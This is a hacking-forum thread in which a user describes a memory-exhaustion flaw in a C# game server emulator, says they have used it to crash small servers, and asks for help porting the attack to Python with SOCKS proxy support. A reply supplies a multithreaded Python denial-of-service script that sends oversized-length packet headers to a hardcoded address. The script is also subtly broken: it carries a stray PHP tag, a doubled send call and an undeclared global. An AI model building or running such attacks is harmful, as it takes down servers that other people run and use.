

Forum:[Hack Forums](#)

Thread: [Denial of Service with python - Networking & Socks proxy](#)

Demure - May 23, 2016, 6:44 pm

I have found a memory leak in a C# emulator for a particular game and I've been able to crash small servers (4 / 8 GB total server memory).

Basically how it works is;

Open a TCP connection with the server

Send 6 bytes with a length of max int in C# Packets are constructed like this: 4 bytes - length (integer)

2 bytes - packet id (short)

'length' bytes - payload Keep sending junk data until reaches max int

Keep connection open and start again

Do this with multiple threads The server is storing all data in a byte array (using [Buffer.BlockCopy](#)) until it reaches the packet length and then does literally nothing because the packet is too long (badly placed if statements).

I want to rewrite my small C# program in python to get better speeds and add socks proxy support.

If possible, could someone give me some tips so I know what to look out for?

Also please recommend libraries.

I was looking at this library <https://github.com/Anorov/PySocks> but I don't know if there are any better libs available.

Edit: I currently have this:

<http://pastebin.com/Rw6Nmxh9>

It's not optimal yet but it works okay (useless running variable etc..) and add proxy support.

Am I doing this right so far?

SIM-1866423 - May 24, 2016, 12:47 am

Also im not sure python bytearray equals right byte sizes.

<https://docs.python.org/2/library/ctypes.html> <-- for C variables

<https://pypi.python.org/pypi/PySocks/1.5.7> <-- to set up proxy

Also try something primitive, maybe like this(I did not test it)

PHP Code

```
<?php
```

```
import socket
```

```
import threading
```

```
from sys import exit
```

```
storage = 0
limit = 2147000000
```

```
def SEND():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("192.168.1.34", 4444))
    while True:
        try:
            s.send( s.send(bytearray([127, 255, 255, 255, 15, 160])))
            storage += 6
            if storage == limit:
                exit("Done")
        except socket.timeout:
            SEND()
```

```
for num in range(0, 100):
    thread = threading.Thread(target=SEND)
    thread.start()
```